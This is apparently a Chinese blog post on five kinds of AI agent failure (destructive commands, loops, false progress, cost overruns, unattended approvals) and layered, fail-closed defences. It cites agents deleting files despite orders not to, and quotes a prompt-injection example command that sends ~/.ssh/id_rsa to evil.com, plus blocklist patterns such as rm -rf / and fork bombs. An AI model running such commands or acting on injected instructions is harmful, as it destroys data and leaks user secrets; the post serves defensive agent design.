Agent 可能出什么事——五类异常与应对

2026-10-15·终止与自愈·终止与自愈

Agent 跑着跑着可能出五种事:要删你服务器、陷入死循环、每步都在失败、token 烧了一大堆、要做高风险操作但没人在。每种异常需要不同的检测方式和不同的应对策略------一个 max_turns 解决不了所有问题。

不是一种问题,是五种

"Agent 出了问题该怎么停"听起来是一个问题。实际上是至少五个不同的问题------每种问题的检测方式、紧迫程度、正确应对完全不同。

用一个 max_turns=25 去处理五种完全不同的异常,就像用一个灭火器去对付火灾、洪水、地震、停电和入室盗窃------有的能管用,有的完全不对症。

截至本文写作时,行业对 Agent 异常的分类还没有统一标准。但从真实事故中归纳,可以清晰地分出五类------它们的检测速度从纳秒到分钟不等,决策者从代码到人不等,正确应对从硬拦截到优雅降级不等。


场景一:Agent 要执行灾难命令

真实场景

Agent 在帮用户清理项目。LLM 判断"需要删除 build 产物",生成了 rm -rf ./build/。但由于路径变量为空,实际命令变成了 rm -rf /------删除整个文件系统。

这不是假设场景。 Amazon Kiro(2025 年 12 月)被要求修一个小 bug,决定"最优方案是删除并重建整个生产环境"------继承了工程师的高权限并绕过了双人审批,直接执行了,导致 AWS 中国区 13 小时宕机(AI Failure Index)。Cursor Plan Mode(2025 年 12 月)的用户明确说"DO NOT RUN ANYTHING",Agent 确认了指令然后立刻 rm -rf 了 70 个文件(Barrack AI)。

或者更隐蔽的:用户消息被 Prompt Injection 注入了一段指令(通过一个被污染的文件),让 Agent 执行 curl https://evil.com/exfiltrate?data=$(cat ~/.ssh/id_rsa)。

行业怎么做

  • 大多数框架:不检查。工具调用直接执行。安全靠 Prompt 里写"你不能执行危险命令"------但 Prompt Injection 可以覆盖 Prompt
  • Claude Code :双阶段权限分类器------每个命令执行前判断 BLOCK/ALLOW。用户可以设"always allow"规则(比如 go test 永远允许)
  • Cursor:Apply 机制------代码修改先 diff 预览再确认。命令有 allowlist
  • OpenAI Codex CLI :sandbox 策略三级(network-none / read-only / full-auto),exec 前过 approval policy

正确的设计

安全检查必须在代码层(正则匹配 / 路径校验 / 网络策略),不能在 Prompt 层。原因:Prompt 是模型的"建议"------模型可以被诱导忽略它。代码层的正则匹配不可能被 Prompt Injection 绕过。

分层管道------每层解决一类风险:

  1. 灾难命令硬拦截 (rm -rf /、fork bomb、shutdown 等 18 条正则)------直接拒绝,不问用户,不过 LLM
  2. 路径和网络边界(只能写工作目录、禁止外连特定地址)------文件系统和网络层 enforce
  3. 效果分级(只读操作直接放行、写操作按策略、高危需审批)

关键教训 :灾难命令拦截不能只检查名为 exec 的工具------任何工具参数里的 command / script / shell 字段都要检查。早期只检查工具名,一个 MCP 代理工具绕过了------因为工具名是 legal_search,但参数里有 script 字段。Dify 的共享沙箱逃逸事件(CVE-2024-55463)更极端------攻击者通过 preload 注入获得了 container root 权限,跨租户访问。

检测速度 :纳秒级。正则匹配不需要等一步完成。决策者 :代码。应对:硬拒绝,无例外。


场景二:Agent 陷入死循环

真实场景

Agent 在修复一个 bug。读了文件、改了代码、跑了测试------失败。改了一种写法------还是失败。换了方向------第三次失败。然后它开始重复之前尝试过的方案------回到第一种写法,当然还是失败。

从外面看,Agent 在"忙碌地工作"。每一圈烧 0.10-0.50 的 token。LangChain 的 $47K 案例(11 天循环、零产出)是这个模式的极端版本。

截至 2026 年,死循环仍然是最常见的 Agent 异常。Cursor 论坛持续有用户报告"Opus 4.7 在 Plan Mode 下花 2-3 小时做无用功"(Cursor 论坛 #158619)。Hermes Agent 在 2026 年专门加了 StallDetector 和 ToolLoopDetector 两套检测机制来对付它(PR #41477, #6784)。

为什么模型自己检测不到

LLM 没有"全局视角"------它处理的是当前上下文窗口内的信息。如果早期的尝试已经被压缩或截断了,模型看不到自己之前试过同样的方案。

即使模型能看到完整历史,它也倾向于"这次可能不一样"------因为每次调用的上下文确实稍有不同(多了上一轮的结果)。Hermes 的 ToolLoopDetector 发现了一种更精确的失败模式:模型的 reasoning 里明确写着"应该用工具 A",但实际调用了工具 B------这是autoregressive anchoring,上下文中重复出现的错误工具名把模型拉向了同一个错误(PR #6784 分析)。

各家怎么做

产品 死循环检测
LangGraph 无。靠 recursion_limit=1000 兜底
CrewAI max_iter=20 硬停(但有 Bug 可能停不住)
OpenAI Agents SDK max_turns + reset_tool_choice(防工具选择循环)
Hermes StallDetector(签名 MD5 重复)+ ToolLoopDetector(三策略)+ Session Caps
Claude Code 无自动检测。交互模式靠用户 Esc,headless 靠 --max-budget-usd
我们的引擎 三维度行为分析 + 工具四分类 + Halving + 两阶段自愈

检测速度 :秒级(5-20 步内)。决策者 :引擎行为分析 → 模型自愈 → 用户判断。应对:先纠正、再问人、最后停。


场景三:Agent 的伪进展------每步都在失败

真实场景

Agent 在配置一个开发环境。尝试 pip install xxx------权限不够。换 pip install --user xxx------包冲突。换 conda install xxx------conda 没装。换 apt-get install python3-xxx------需要 sudo。

每步都在"做不同的事",每步都失败。和死循环不同:死循环是同样的操作重复 ,伪进展是不同的操作但全部失败。

在 SWE-bench 评测中这种模式很常见------模型反复尝试不同的 patch 修改,每次测试都失败,但签名(工具名+参数哈希)每次都不同。从 Hermes 的 StallDetector 看,这不是循环------因为签名在变化。但从结果看,这就是在烧 token。

为什么比死循环更难检测

模型看到"这个方法失败了"的反应是"换一种方法试"------通常正确。问题是当所有方法都试完了,模型开始循环之前的方案或尝试更不靠谱的方案。它缺乏"已经连续失败了 N 次,应该求助用户"的全局判断。

关键区分:连续 3 次测试失败是正常调试 (改代码 → 测试 → 失败 → 分析错误 → 再改)。连续 15 次不同修改全部失败是伪进展(每次都换方法但从不分析为什么全部失败)。边界在于:失败之后有没有策略调整的迹象。

行业怎么做

截至本文写作时,几乎没有产品有专门的伪进展检测:

  • Hermes StallDetector 抓不住------因为签名每次都不同(不同参数 → 不同 MD5)。Hermes 的 poll_no_progress 策略接近,但它检测的是返回结果哈希相同(同一个错误消息反复出现),不是"不同错误但全是错误"
  • Claude Code 没有此机制------连续失败在交互模式下靠用户观察
  • OpenAI Agents SDK 的 FunctionalTermination 理论上可以实现(自定义函数检查连续失败),但没有内置
  • Aider 结构性回避了这个问题------最多 3 次反射就停,伪进展没有发生的空间

伪进展是五类异常中检测方案最不成熟的一类。行业主流还在依赖计数器或用户观察。

我们的做法

独立的 ErrorStreak 安全线------和 CycleDetector 并行运行:

  • 连续 N 次工具调用全部返回错误 → 分级响应
  • 只要有一次成功就重置计数。改代码 → 测试失败 → 再改 → 成功------中间的失败不累计
  • 可以配合 strategy reset:连续错误达到阈值时,注入纠正信号让模型重新评估方向

检测速度 :秒级(8-15 步)。决策者 :引擎连续失败计数 → 纠正信号 → 用户判断。应对:提示反思 → 强制反思 → 问用户 → 超时停止。


场景四:Token 花了太多钱

真实场景

开发者在 Cursor 上跑 6 窗口多 Agent 并行,Auto 模式路由到 claude-4.6-opus-high-thinking。四周账单:11,922** (DEV Community/@bytedesk)。另一位用户单条消息消耗 3 亿 tokens(Tokenade case study)。Amazon 内部一个 Claude 任务超预算 860%,**1.8M,五个月无人发现,任务失败(Financial Times)。

这是谁的问题

不是引擎的问题------是商业层的问题。 "$15 算多吗"取决于:用户套餐多少?任务值多少钱?公司 AI 预算政策是什么?

引擎没有这些信息。硬编码"10 就停"------审查千万合同花 10 被截断,剩余风险谁承担?

为什么这个问题越来越严重

两个趋势在加剧成本失控:

趋势一:模型越来越贵。 前沿模型的 reasoning token 价格是基础模型的 10-50 倍。Claude Code 默认使用 extended thinking,一个 500 步的任务如果每步都触发深度推理,成本会远超用户预期。200/月的 Cursor MAX Plan 被 6 窗口并行在四周内用到 11,922,就是这个现象。

趋势二:Agent 越来越自主。 2024 年的 Agent 大多是单轮问答,用户对每一步有感知。2026 年的 Agent 可以无人值守地跑几百步------background mode、定时任务、多 Agent 委派。一个委派的子 Agent 可以自行 spawn 新的子 Agent,每个都在消耗 token,但外层用户看不到。Claude Code 的 --max-budget-usd 专门把子 Agent 花费计入总预算(v2.1.217+),就是为了解决这个问题。

行业怎么做

产品 预算机制
Claude Code --max-budget-usd------按美元设限。交互模式无限制(显示消耗,用户自决)
Codex CLI max_budget_tokens------按 token 设限
Cursor 订阅制 20/月不按次计费。MAX Plan 200/月 500 requests。超额降速不停
LangGraph / CrewAI 无内置预算。靠 max_turns 间接限制
OpenAI Agents SDK 无内置预算。社区正在请求 BudgetGuard(#3353)

正确的分工

引擎负责:① 准确计量 token 消耗 ② 消耗达参考预算 85% 时注入提示("请高效完成")③ 提供回调接口让应用层决定何时硬停

应用层负责:在回调里做商业判断------查套餐余额、检查部门月度预算、评估任务价值------返回"继续"或"停止"。

检测速度 :实时(每轮计量)。决策者 :应用层(引擎只报数)。应对:软提醒(85%)→ 强提醒(95%)→ 应用层硬停。


场景五:Agent 要做高风险操作,但没人审批

真实场景

Agent 在执行凌晨 3 点触发的定时任务(合同审查)。分析到高风险条款,决定修改合同草稿。这个操作需人工确认------但没人在。

等了 60 秒,没人回复。该怎么办?

两种错误的答案

"等够了就允许"(fail-open):攻击者只需要在用户不在时触发 Agent → 请求审批 → 无人回复 → 超时自动通过 → 攻击成功。

"等够了就永远等":Agent 进程挂着,资源被占用,其他任务无法执行。

正确的答案:fail-closed

超时 = 拒绝。Agent 停止并保存进度。用户上线后看到"Agent 在这里停下来等你确认",手动恢复。

这个原则听起来简单,但行业实现差异很大:

Claude Code 有 bypassPermissions 模式让用户主动跳过所有确认------但那是用户主动授权,不是超时默认放行。在标准模式下,每个高风险操作都需要用户确认(Esc 键随时拒绝)。

Codex CLI 的 Goal 系统在遇到 permission blocker 时进入 blocked 状态并暂停------同样是 fail-closed。但它更进一步:Agent 自己可以通过 update_goal 工具声明"我需要人工介入",而不是等外部超时。不过这依赖 Prompt 引导("至少尝试三次后才能声明 blocked"),且模型不一定会诚实调用。

Hermes 的 HITL 审批在 gateway 模式下通过消息平台投递(Telegram / Discord / Slack 等)------用户可以在手机上回复。这扩展了审批的"可达性",但无人回复时仍然是超时停止,不是放行。Hermes 还有 session-wide caps(200 次 web_search / 200 次 delegate_task),即使审批一直通过,也有总量兜底。

企业场景的特殊挑战 :企业 Agent 通常通过定时任务或 IM 消息触发------没有交互终端。审批通过企业微信 / 飞书 / 钉钉的消息推送到达用户。但如果用户不在线(周末、假期、凌晨),审批超时触发 fail-closed 后需要一个恢复机制------用户上线后能看到"Agent 在这里等你"的状态,一键恢复而不是从头重跑。

检测速度 :实时(审批请求发出后计时)。决策者 :用户(或缺席 = 拒绝)。应对:保存进度 + 停止 + 等用户恢复。


五类异常的检测交叉

异常 检测手段 最短反应时间 决策者
灾难命令 正则匹配 + 路径校验 + 网络策略 纳秒 代码(硬拦截)
死循环 行为签名 + 模式检测 + 两阶段自愈 秒(5-20 步) 引擎 → 模型 → 用户
伪进展 连续失败计数 + 策略重置 秒(8-15 步) 引擎 → 模型 → 用户
成本超支 实时计量 + 预算回调 实时 应用层(引擎报数)
无人审批 超时 + fail-closed 秒-分钟 用户(缺席=拒绝)

五个问题的检测方式、反应速度、决策者各不相同。 把它们全交给一个 max_turns=25 就像让一个人同时当消防员、医生、警察、会计和门卫。

从真实事故看异常分类

事故 属于哪类 max_turns 能防住吗
Kiro 删生产环境 灾难命令 ❌ 第 1 步就该拦
Cursor rm -rf 70 文件 灾难命令 ❌ 第 1 步就该拦
$47K 死循环 11 天 死循环 ⚠️ 能在第 25 步停,但 5 步就该发现
Cursor Opus 2-3h 无效循环 死循环 ⚠️ 同上
SWE-bench 反复 patch 全失败 伪进展 ⚠️ 能在第 25 步停,但 15 步就有信号
$1.8M Amazon 任务 成本超支 ❌ 和步数无关
$11,922/月 Cursor 成本超支 ❌ 和步数无关
GeminiJack 零点击攻击 灾难命令(数据外泄) ❌ 第 1 步就该拦
凌晨定时任务修改合同 无人审批 ❌ 和步数无关

分层防线

正确的做法是分层------每层解决一类问题:

层 检测什么 反应速度 谁决定
第一层 灾难命令 纳秒 代码硬拦截
第二层 死循环 + 伪进展 秒级 引擎行为分析 → 自愈 → HITL
第三层 安全/质量拒绝 秒级 中间件(内容过滤、治理策略)
第四层 成本失控 实时 应用层(引擎报数、应用层决策)
第五层 无人审批 超时 用户(fail-closed)

每一层都独立运行、互相补盲。灾难命令不需要等到行为分析------第一层直接挡。成本失控不等死循环检测------第四层直接报。这不是一条管道,是五条平行的安全线。

分层防线的实际搭建顺序

如果你正在给 Agent 加安全机制,按影响面从大到小建:

第一步(一天内必须有) :灾难命令硬拦截。正则匹配 rm -rf /、shutdown、kill -9 1、fork bomb 等 15-20 条高危模式。实现量不到 100 行代码,但挡住的是最致命的风险。不检查工具名------检查所有工具参数里的 command / script / shell 字段。 这一步遗漏过一次:一个 MCP 代理工具名叫 legal_search,参数里有 script 字段可以注入任意命令。

第二步(一周内上线):连续失败计数(ErrorStreak 最简版)。每次工具调用返回错误 → counter++,成功 → counter=0。counter >= 5 → 注入一条系统消息"你最近 5 次操作全部失败,请重新评估方向"。10 行代码,拦住最明显的伪进展。

第三步(两周内上线) :死循环签名检测。对 (工具名, 参数JSON) 做哈希比较,连续 N 次相同 → 告警或终止。Hermes 的 StallDetector 就是这个思路(~200 行代码)。

第四步(与产品商业化同步):预算计量 + 应用层回调。引擎追踪 token 消耗,应用层按商业逻辑决定停不停。这需要应用层有用户身份和套餐信息------通常和登录/计费系统一起建。

第五步(有 HITL 场景时):审批超时 fail-closed。只在 Agent 有能力发起需要人确认的操作时才需要。超时 = 拒绝,保存进度等用户恢复。



引用来源

本文所有数据均可通过以下链接验证。

相关推荐
小易老师1 小时前
用中间件把任务规划嵌入 Agent 循环:告别把计划写死在 Prompt 里
人工智能·agent
lucas_AI1 小时前
你从「官方市场」自动更新的 Claude Code,被人塞了 11 个小时的 SSH 后门
ai编程
Ai-_Man1 小时前
Coze扣子还是不可以导出左侧所有对话,只能点进去单条内容导出,方法不对吗?
开发语言·人工智能·ai·小程序·1024程序员节
机器学习之心1 小时前
基于贝叶斯物理信息神经网络的矿产预测与不确定性量化,MATLAB代码及复现报告
人工智能·神经网络·matlab·贝叶斯物理信息神经网络
weixin_449229381 小时前
Skill应用11:详细设计自动生成|强制“文字先行”,杜绝AI只堆代码不讲设计
人工智能·agent·架构设计·详细设计·trae·skill应用
AiNightVision1 小时前
电力巡检夜视方案选型指南——无人机/机器人/固定监测三种场景怎么选
人工智能·科技·车载系统·机器人·无人机·边缘计算·视频
涛声依旧-底层原理研究所1 小时前
拆解 AI Agent 的四个内核:Loop、Tools、Memory 与 Harness
人工智能·架构
田里的水稻2 小时前
FA_CNN卷积神经网络十八---感知机到多层感知机PyTorch
人工智能·pytorch·python